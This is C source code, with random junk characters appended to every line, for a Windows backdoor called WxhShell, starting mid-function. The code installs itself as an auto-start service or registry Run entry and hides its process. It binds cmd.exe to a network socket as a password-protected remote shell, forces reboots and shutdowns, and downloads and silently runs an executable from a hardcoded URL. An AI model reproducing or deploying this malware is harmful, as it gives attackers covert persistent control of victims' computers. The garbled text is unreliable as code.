    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VH#]67  
    else { rm2{PV<+d  
    closesocket(wsh); 7k+UCi u>  
    ExitThread(0); U+~0m!|4  
    } 'V 1QuSd  
    break; 3<m"z9$  
    } FK@rZP  
  // 获取shell f*W<N06EZ  
  case 's': { 3|9) A+,#  
    CmdShell(wsh); =;dupz\7  
    closesocket(wsh); n U$Lp`  
    ExitThread(0); aina6@S  
    break; &IXr*I  
  } sKn>K/4JZ  
  // 退出 :E4i@ O7%  
  case 'x': { cU%#oEMf<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uZm<:d2%)  
    CloseIt(wsh); A-ir   
    break; > ^n'  
    } 2NIK0%6  
  // 离开 ;oob TW{  
  case 'q': { saU|.\l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H'?Bx>X  
    closesocket(wsh); ~u,g5  
    WSACleanup(); i1FFf[[L  
    exit(1); |= N8X  
    break; s67$tlV  
        } ;Qk*h'}f  
  } aJI>qk h?]  
  } Yfxc$ub  
Mgcq'{[~Y=  
  // 提示信息 *=@Z\]"?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;&Eu< %y  
} |=jgrm1yj  
  } p_B,7@Jl  
gOgG23 x  
  return; $'?CY)h{  
} jpm}EOq<%  
VaVKWJg$  
// shell模块句柄 rIW`(IG_  
int CmdShell(SOCKET sock) ;X|;/@@  
{ zr84%_^  
STARTUPINFO si; KW+^9&lA  
ZeroMemory(&si,sizeof(si)); F4kU) i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &rcr])jg[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W 86S)+h  
PROCESS_INFORMATION ProcessInfo; U NQup;#h  
char cmdline[]="cmd"; 9XobTi3+'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?D57HCd`n  
  return 0; \m5:~,p=  
} <C# s0UX  
[RC|W%<Z>  
// 自身启动模式 I>L lc Y  
int StartFromService(void) jqb,^T|j;m  
{ Zu&trxnNf[  
typedef struct xhg{!w  
{ d@,q6R}!MP  
  DWORD ExitStatus; U:_T9!fG  
  DWORD PebBaseAddress; 9dqD(S#C;"  
  DWORD AffinityMask; 2=F_<Jh|+  
  DWORD BasePriority; I?bL4u$\  
  ULONG UniqueProcessId; %b@>riR(y  
  ULONG InheritedFromUniqueProcessId; LO# {   
}   PROCESS_BASIC_INFORMATION; -aKk#fd  
mUcHsCszH  
PROCNTQSIP NtQueryInformationProcess; <0v'IHlZ8  
.N/4+[2p(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /~g M,*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <pK; D  
gJ vc<]W8!  
  HANDLE             hProcess; 2kCJqyWy  
  PROCESS_BASIC_INFORMATION pbi; 6K?+adKlc  
^4 es  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pA+Qb.z5z  
  if(NULL == hInst ) return 0; >s[}f6*2@  
+1h^9 Y'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rrbCg(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .}Bb :*@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -cY /M~  
mz9Kwxe  
  if (!NtQueryInformationProcess) return 0; {D`F$=Dlw  
'DntZK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0vQkm<  
  if(!hProcess) return 0; "]zq<LmX  
@OwU[\6fc}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >6jy d{  
 2HQHC]  
  CloseHandle(hProcess); [>C^ 0\Z~  
ag|d_;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V!]e#QH;  
if(hProcess==NULL) return 0; -J? df  
 pSV 8!  
HMODULE hMod; z81I2?v[Jr  
char procName[255]; BtU,1`El5  
unsigned long cbNeeded; El"XF?OgpP  
DU}q4u@ )  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !X[lNt O  
IO v4Zx<)  
  CloseHandle(hProcess); c!w4N5aM  
!ZSC"  
if(strstr(procName,"services")) return 1; // 以服务启动 c{FvMV2em  
>A2& Mjo  
  return 0; // 注册表启动 Ge(r6"%7  
} hrEKmRmF-  
v,g,c`BjK  
// 主模块 b!7"drge:  
int StartWxhshell(LPSTR lpCmdLine) CZwZ#WV6  
{ I&1Mh4yu  
  SOCKET wsl; i}+dctg/  
BOOL val=TRUE; >OiC].1   
  int port=0; :Tj,;0#/  
  struct sockaddr_in door; He j0l^  
4:6@9.VVT  
  if(wscfg.ws_autoins) Install(); {/R4Q1  
NbkWy  
port=atoi(lpCmdLine); |$bZO`^  
|6_<4lmTxF  
if(port<=0) port=wscfg.ws_port; 3@6f%Dyj  
@jwUH8g1  
  WSADATA data; 6 D!,vu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;]<$p[m  
mRQ F5W6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .0\Wu+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y6:=2(]w<p  
  door.sin_family = AF_INET; Q?[k>fu0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z~$&h  
  door.sin_port = htons(port); {H"gp?Z-  
IGv>0LOd@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V4V TP]'n  
closesocket(wsl); d&R/fIm  
return 1; I&>R]DV  
} y1k""75  
dzbzZ@y  
  if(listen(wsl,2) == INVALID_SOCKET) { Mc76)  
closesocket(wsl); xwK<f6H!y  
return 1; Y*J`Wf(w  
} d/R:-{J)c  
  Wxhshell(wsl); 9RR1$( f  
  WSACleanup(); ~^Vt)/}Q  
rl4daV&,U  
return 0; kw=+"U   
A:NsDEt  
} WdIr 3  
hnE@+(d=qJ  
// 以NT服务方式启动  $7|0{Dw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o`G'E&  
{ {#Gr=iv~N  
DWORD   status = 0; `[o^w(l:5@  
  DWORD   specificError = 0xfffffff; 8a-[Q  
S~Nx;sB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C7qbofoV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; of{wZU\J+9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8?I(wn  
  serviceStatus.dwWin32ExitCode     = 0; Q&n  
  serviceStatus.dwServiceSpecificExitCode = 0; `' 6]Z*  
  serviceStatus.dwCheckPoint       = 0; B;7L:  
  serviceStatus.dwWaitHint       = 0;  299; N  
7 NJ1cQ-}t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j g$%WAEb  
  if (hServiceStatusHandle==0) return; NSM-p.I9  
tLV9b %i(  
status = GetLastError(); yt_?4Hc"  
  if (status!=NO_ERROR) o{zo-:>Jp  
{ {I(Euk>lR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OBb  
    serviceStatus.dwCheckPoint       = 0; ,h>0k`J:a  
    serviceStatus.dwWaitHint       = 0; Kr]F+erJe  
    serviceStatus.dwWin32ExitCode     = status; LvW9kL+WiQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; (Ptv#LSUX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,gkxZ{Eh  
    return; &x;v&  
  } <R]?8L0{h  
B8B^@   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^>k[T.  
  serviceStatus.dwCheckPoint       = 0; wU+ofj; +I  
  serviceStatus.dwWaitHint       = 0; !;iySRZr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); skZxR5v3~L  
} =xa`)#4(  
\[Rh\v&  
// 处理NT服务事件,比如:启动、停止 cB?HMLbG>  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  >cSc   
{ >`s2s@Mx  
switch(fdwControl) A")B<BK  
{ jOEb1  
case SERVICE_CONTROL_STOP: !:e}d+F  
  serviceStatus.dwWin32ExitCode = 0; +J+]P\:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #^Sd r-   
  serviceStatus.dwCheckPoint   = 0; :ykQ[d`:|  
  serviceStatus.dwWaitHint     = 0; +s_@964  
  { r 97 VX>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C=9|K`g5 R  
  } ~}wPiu,  
  return; P9Rq'u  
case SERVICE_CONTROL_PAUSE: T7!a@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hQl3F6-ud  
  break; .c~;/@{  
case SERVICE_CONTROL_CONTINUE: 5O*. qp?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BnAia3z  
  break; Eiz\Nb  
case SERVICE_CONTROL_INTERROGATE: LFg<j1Gk`  
  break; Pme`UcE3H  
}; _=4Dh/Dv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rq2XFSXn  
} o.Q |%&1  
E: XzX Fxx  
// 标准应用程序主函数 #7gOtP#{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7nIg3s%  
{  h}+,]^  
J/RUKhs/  
// 获取操作系统版本 ^qV*W1|0  
OsIsNt=GetOsVer(); &o:ZOD.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); / ^!(rHf  
4[bw/[  
  // 从命令行安装 mn 8A%6W  
  if(strpbrk(lpCmdLine,"iI")) Install(); T6AFwo,Q  
{WFYNEQ[  
  // 下载执行文件 R2u[IVZW:-  
if(wscfg.ws_downexe) { T<p>:$vo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `\O[9.B  
  WinExec(wscfg.ws_filenam,SW_HIDE); u5T \_0  
} %2/WyD$U  
D~2,0K  
if(!OsIsNt) { ?]$.3azO  
// 如果时win9x,隐藏进程并且设置为注册表启动 jd(=? !_  
HideProc(); !BK^5,4?--  
StartWxhshell(lpCmdLine); %&e5i  
} p3sz32RX  
else a>""MC2  
  if(StartFromService()) HykJ}ezX4  
  // 以服务方式启动 B`T9dL[E4  
  StartServiceCtrlDispatcher(DispatchTable); jY$|_o.4  
else -41L^Di\  
  // 普通方式启动 .}a@OLJd  
  StartWxhshell(lpCmdLine); )+\e+Ad}H  
KX`MX5?x  
return 0; 5/neV&VcB  
} }Y<(1w  
5_=&U-? H  
-FE5sW  
i-tX5Md|  
=========================================== xa!@$w=U&  
e2/[`k=7-  
pMs%`j#T  
]RGun GJ  
%;ny  
:vV?Yv%P)n  
" bpKb<c  
!f_Kq$.{  
#include <stdio.h> ]lm9D@HMC  
#include <string.h> z2nDD6N  
#include <windows.h> F>!fu.Ws  
#include <winsock2.h> >Q"eaJxE!l  
#include <winsvc.h> kk^KaD4dA  
#include <urlmon.h> -+O8v;aC'  
Udd|.JRd  
#pragma comment (lib, "Ws2_32.lib") @0Tm>s  
#pragma comment (lib, "urlmon.lib") [&)9|EV  
bYow EzieF  
#define MAX_USER   100 // 最大客户端连接数 RHE< QG  
#define BUF_SOCK   200 // sock buffer =Z%&jul  
#define KEY_BUFF   255 // 输入 buffer K<\TF+  
>f}rM20Vm  
#define REBOOT     0   // 重启 c AIS?]1  
#define SHUTDOWN   1   // 关机 W 4 )^8/  
O:k@'&  
#define DEF_PORT   5000 // 监听端口 &({X9  
|A0kbC.  
#define REG_LEN     16   // 注册表键长度 C2DNyMu  
#define SVC_LEN     80   // NT服务名长度 IsnC_"f  
\s+ <w3  
// 从dll定义API |)GE7y0Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @I_ A(cr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X8?|5$Ey  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i[WTp??Uv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BA L!6  
}2JSa8  
// wxhshell配置信息 5E}0 <&  
struct WSCFG { H^'EY:|  
  int ws_port;         // 监听端口 Q:@Y/4=  
  char ws_passstr[REG_LEN]; // 口令 @HaWd 3  
  int ws_autoins;       // 安装标记, 1=yes 0=no !"p,9  
  char ws_regname[REG_LEN]; // 注册表键名 vhKeW(z  
  char ws_svcname[REG_LEN]; // 服务名 &/Tx@j^.C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <>2QDI6_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >TK`s@jdSV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vC+mC4~/(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1!BV]&,[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kA\;h|Y3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \/{qE hP  
J& yDX>  
}; :i?Z1x1`  
$"x(:  
// default Wxhshell configuration AE^&hH0^  
struct WSCFG wscfg={DEF_PORT, ZhM-F0;`  
    "xuhuanlingzhe", }RW4  
    1, )M^;6S  
    "Wxhshell", j+Wgjf  
    "Wxhshell", | ql!@M(p  
            "WxhShell Service", Q;5aM%a`  
    "Wrsky Windows CmdShell Service", iY.~N#Q  
    "Please Input Your Password: ", `4Nc(aUr  
  1, 0~BQ8O=+mn  
  "http://www.wrsky.com/wxhshell.exe", 4zfgtg(  
  "Wxhshell.exe" 9-pd{Z~l  
    }; rPr#V1}1a  
2yeq2v   
// 消息定义模块 KasOh"W.P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O(WFjmHx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =ngu*#?c4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A+ Z3b:}~  
char *msg_ws_ext="\n\rExit."; (}] 74Lc  
char *msg_ws_end="\n\rQuit."; [o|]>(tk  
char *msg_ws_boot="\n\rReboot..."; 1&wZJP=  
char *msg_ws_poff="\n\rShutdown..."; KGK8;Q,O  
char *msg_ws_down="\n\rSave to "; GpxGDN3?  
:UFf6T?  
char *msg_ws_err="\n\rErr!"; c.jnPVf:  
char *msg_ws_ok="\n\rOK!"; qWQJ>  
QF-.")Z  
char ExeFile[MAX_PATH]; `1pri0!  
int nUser = 0; .8.ivfmJh  
HANDLE handles[MAX_USER]; 9DPf2`*$  
int OsIsNt; s?OGB}  
u'?t'I  
SERVICE_STATUS       serviceStatus; mb\vHu*53  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a$;+-Y  
qxd{c8  
// 函数声明 & +%CC  
int Install(void); '90B),c{  
int Uninstall(void); X ,T^(p  
int DownloadFile(char *sURL, SOCKET wsh); y0A2{'w  
int Boot(int flag); )Tb{O  
void HideProc(void); QZ9 )uI  
int GetOsVer(void); Xb6@;G"  
int Wxhshell(SOCKET wsl); jzzVZ%t  
void TalkWithClient(void *cs); /[{?zS{  
int CmdShell(SOCKET sock); t}*teo[  
int StartFromService(void); wiwJD}3h'  
int StartWxhshell(LPSTR lpCmdLine); 7g(rJGjtg  
F!aYK2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QC ]z--wu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =X% D;2  
/0@}7+&  
// 数据结构和表定义 <NS= <'U  
SERVICE_TABLE_ENTRY DispatchTable[] = @X4;fd  
{ n7{1m$/  
{wscfg.ws_svcname, NTServiceMain}, '7_'s1  
{NULL, NULL} o"'VI4  
}; I`5MAvP  
*?\2Ohp  
// 自我安装 qn4Dm ^  
int Install(void) bM;tQ38*  
{ ncS^NH(&  
  char svExeFile[MAX_PATH]; s'LG3YV-<  
  HKEY key; vz@QGgQ9~2  
  strcpy(svExeFile,ExeFile); eb( =V *  
](8XC_-U'  
// 如果是win9x系统,修改注册表设为自启动 Yz%=  
if(!OsIsNt) { pRt )B`#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Txp~&a03  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3zh'5qQ  
  RegCloseKey(key); FK mFjqY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^!kv gm<{$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uiiA)j*!  
  RegCloseKey(key); nz>A\H  
  return 0; 0imz }Z]  
    } CWC*bkd5a  
  } <u^41  
} *NXwllrci  
else { HjV^6oP  
tP3H7Yl! g  
// 如果是NT以上系统,安装为系统服务 !)LR41>?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %t<Y6*g  
if (schSCManager!=0) MTLcLmdO  
{ >6<g5ps.n  
  SC_HANDLE schService = CreateService YjdH7.js  
  ( UejG$JyHP  
  schSCManager, &4{%3w_/  
  wscfg.ws_svcname, LO` (V  
  wscfg.ws_svcdisp, %|-Rh^H[JK  
  SERVICE_ALL_ACCESS, kMI\GQW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =}Cb?C[;  
  SERVICE_AUTO_START, 9Ft)VX  
  SERVICE_ERROR_NORMAL, 2etlR  
  svExeFile, MN1|k  
  NULL, QQrvT,]  
  NULL, c4; `3  
  NULL, hs/nM"V  
  NULL,  OSSMIPr  
  NULL +;*])N%q  
  ); &/7GhZRt  
  if (schService!=0) kdoE)C   
  { lezdJ  
  CloseServiceHandle(schService); _L: /2  
  CloseServiceHandle(schSCManager); LW2Sko?Yo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1) @Wcc.  
  strcat(svExeFile,wscfg.ws_svcname); [&Qrk8EN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'nCBLc8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y"){?  
  RegCloseKey(key); g@1MIm c'!  
  return 0; .#+rH}=Z  
    } <'gCIIa2  
  } v4qvq GK  
  CloseServiceHandle(schSCManager); $jw!DrE  
} AE<AEq  
} aV>w($tdd  
D|+H!f{k  
return 1; 4}NFa; M1  
} c[j3_fn1]  
h~nl  
// 自我卸载 )@Bt[mfrVD  
int Uninstall(void) y2<g96  
{ N>gv!z[E  
  HKEY key; 9MGA#a  
1nvs51?H  
if(!OsIsNt) { )Wc#?K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "E'OP R  
  RegDeleteValue(key,wscfg.ws_regname); VW'e&v1.  
  RegCloseKey(key); no;Yu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4q~l ?*S  
  RegDeleteValue(key,wscfg.ws_regname); ['sIR+c%'O  
  RegCloseKey(key); 5g/WQo\  
  return 0; us5`?XeX]  
  } vK$T$SL  
} a_pkUOu6  
} S&]JY  
else { blS*HKw  
>~ne(n4qy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~v<r\8`OI2  
if (schSCManager!=0) z3a te^PJF  
{ JQ.ZAhv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R;,&CQUl  
  if (schService!=0) N;ssO,  
  { P;A"`Il  
  if(DeleteService(schService)!=0) { /#Ew{RvW'  
  CloseServiceHandle(schService); B4J^ rzK  
  CloseServiceHandle(schSCManager); D0-C:gz  
  return 0; yqB{QFXO  
  } |e+I5  
  CloseServiceHandle(schService); ;2bG-v'4vO  
  } <QszmE  
  CloseServiceHandle(schSCManager); 3`="4  
} Mu{mj4Y{  
} %PyU3  
mu:Q2t^  
return 1; )B8[w  
} ]C]tLJ!M  
"\> <UJ  
// 从指定url下载文件 TmO\!`  
int DownloadFile(char *sURL, SOCKET wsh) ~L4"t_-  
{ DhB: 8/J  
  HRESULT hr; ^t#]E#  
char seps[]= "/"; lOZ.{0{f,  
char *token; )u[ 2TI1  
char *file; mp@JsCU  
char myURL[MAX_PATH]; o F @{&  
char myFILE[MAX_PATH]; X'iki4  
%f, 9  
strcpy(myURL,sURL); YBg\L$| n  
  token=strtok(myURL,seps); t6 js@Ih  
  while(token!=NULL) \`4}h[  
  { Lw-j#}&6E  
    file=token; lt(,/  
  token=strtok(NULL,seps); @tp/0E?  
  } #JTi]U6`  
Sgr<z d'b  
GetCurrentDirectory(MAX_PATH,myFILE); ~r@'kUXKK  
strcat(myFILE, "\\"); h=)Im )  
strcat(myFILE, file); v*#Z{)r  
  send(wsh,myFILE,strlen(myFILE),0); tT'd]  
send(wsh,"...",3,0); ,riwxl5*E/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZwG+rTW  
  if(hr==S_OK) -6)ywq^{z  
return 0; :B"'49Q`  
else o@ ;w!'  
return 1; RV&2y=eb  
$aGK8%.O  
} ?u8+F  
Bt.W_p  
// 系统电源模块 y@hdN=-  
int Boot(int flag) )P|Ql-rE4  
{ 3ON]c13  
  HANDLE hToken; vqL{~tR  
  TOKEN_PRIVILEGES tkp; SHwl^qVk[  
,PIdPaV--  
  if(OsIsNt) { oNiS"\t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iY( hGlV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /=Xen mmS  
    tkp.PrivilegeCount = 1; Oq!u `g9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oWJ}]ip  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c&R .  
if(flag==REBOOT) { c#G(7.0MU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (EohxLl!p  
  return 0; t`DUY3>36  
} -j<UhW  
else { ZJw9 2Sb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m]u#Dm7h  
  return 0; ^,`Lt *  
} .h*&$c/l  
  } zpa'G1v  
  else { ";>D0h^D  
if(flag==REBOOT) { 7 s[ ATu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j^64:3  
  return 0; Pu*st=KGB  
} %X.Q\T  
else { S>H W`   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jCa{WV:K}  
  return 0; ]|732Z  
} 3a#!^ G!~  
} Wx XVL"  
bH,Jddc  
return 1; P- vA.7  
} NgH%  
ob*2V! "  
// win9x进程隐藏模块 ]=_BK!O  
void HideProc(void) !C/`"JeYL  
{ b< [eBXe  
134wK]d^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sH&8"5BT%  
  if ( hKernel != NULL ) B3yn:=80  
  { "= %-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZW\h,8%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ezml LFp.  
    FreeLibrary(hKernel); _wX'u,HrC  
  } TZHqn6  
MD1,KH+O  
return; *tP,Ol  
} JLG5`{  
n*;mFV0s  
// 获取操作系统版本 16aaIK  
int GetOsVer(void) .y'OoDe  
{ K}$PIW  
  OSVERSIONINFO winfo; j}ruXg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vhUuf+P*  
  GetVersionEx(&winfo); (d!vm\-PH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >|rL0  
  return 1; ^Cak/5^K  
  else LLU>c]a  
  return 0; d3 N %V.w  
} 5aWKyXBIx  
z&- `<uV~  
// 客户端句柄模块 h?CNChRJs  
int Wxhshell(SOCKET wsl) NuXU2w~  
{ F,EHZ,<V  
  SOCKET wsh; 1-JWqV(#?  
  struct sockaddr_in client; .t}nznh  
  DWORD myID; JHMj4Zkp  
V5A7w V3~  
  while(nUser<MAX_USER) yBr{nFOgdY  
{ 4H " *.l  
  int nSize=sizeof(client); Nd6N:1 -  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h2tzv~  
  if(wsh==INVALID_SOCKET) return 1; \zoJr)  
iu:e>r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }- +;{u  
if(handles[nUser]==0) VSSiuo'5w  
  closesocket(wsh); ;j52a8uE'}  
else p4el9O&-tV  
  nUser++; 5N[Y2  
  } M.l;!U!}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ao]F_hZ  
0umfC  
  return 0; e~}+.B0  
} \(A>~D8Fo  
?s_q|d_  
// 关闭 socket Lv5AtZl}  
void CloseIt(SOCKET wsh) f.8L<<5 c  
{ 7"S|GEs:  
closesocket(wsh); OrRve$U*|  
nUser--; g xLA1]>{  
ExitThread(0); Z> &PM06  
} QVFa<>8/md  
p~e6ah?1  
// 客户端请求句柄 Z2LG/R  
void TalkWithClient(void *cs) {!EbGIh  
{ \K)q$E<!  
v/m6(z  
  SOCKET wsh=(SOCKET)cs; ,Wdyg8&.  
  char pwd[SVC_LEN]; )^r4|WYyt  
  char cmd[KEY_BUFF]; mqE&phF,  
char chr[1]; f j"S|]e  
int i,j; V8N<%/ A=  
WIhf*LF"  
  while (nUser < MAX_USER) { ?Dfgyz  
*X)OdU  
if(wscfg.ws_passstr) { 5\a5^FK~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cvl"")ZZ`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3 Zbvf^  
  //ZeroMemory(pwd,KEY_BUFF); E@N_~1  
      i=0; yC _X@o-n  
  while(i<SVC_LEN) { Fs=nAn#  
IYj-cm  
  // 设置超时 [` i;gx[^  
  fd_set FdRead; 00 $W>Gr  
  struct timeval TimeOut; -MU^%t;-  
  FD_ZERO(&FdRead); CE+\|5u W  
  FD_SET(wsh,&FdRead); vu*08<M~i|  
  TimeOut.tv_sec=8; WM"I r1  
  TimeOut.tv_usec=0; czT$mKj3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Aimgfxag  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ukPV nk  
zz$*upxK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4f/8APA  
  pwd=chr[0]; \dCdyl6V  
  if(chr[0]==0xd || chr[0]==0xa) { $QY(7Z"  
  pwd=0; g,q&A$Wi  
  break; a(<nk5  
  } z?K+LTf8  
  i++; RLIugz{IH  
    } MqNp*n2  
i .'f<z$<  
  // 如果是非法用户,关闭 socket XBDlQe|>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O c" 2|X  
} ;1o"Oij  
#2`tsZ]=I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :|d3BuY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b_6j77  
%f^TZ,q$  
while(1) { .]jKuTC\<  
u''(;U[  
  ZeroMemory(cmd,KEY_BUFF); |m?0h.O,  
"q%Q[^b  
      // 自动支持客户端 telnet标准   uEk$Y=p7!  
  j=0; fdPg{3x*k  
  while(j<KEY_BUFF) { iveWau292  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ddu$49{S:  
  cmd[j]=chr[0]; kgA')]  
  if(chr[0]==0xa || chr[0]==0xd) { ++FMkeHZ  
  cmd[j]=0; 2B*9]AHny  
  break; J NsK   
  } 8S)k]$wf%  
  j++; [jY_e`S  
    } Iw48+krm>  
z43H]  
  // 下载文件 UZXnABg,J  
  if(strstr(cmd,"http://")) { {o;J'yjre1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4sG^ bZ,  
  if(DownloadFile(cmd,wsh)) @90)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hm*n ,8_  
  else  /y1,w JI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9GCxF`OB  
  } o^lKM?t  
  else { \N!k)6\  
whD%Oz*f  
    switch(cmd[0]) { fD V:ueO  
  7kj#3(e  
  // 帮助 sl`\g1<{`  
  case '?': { )<!y_;$A  
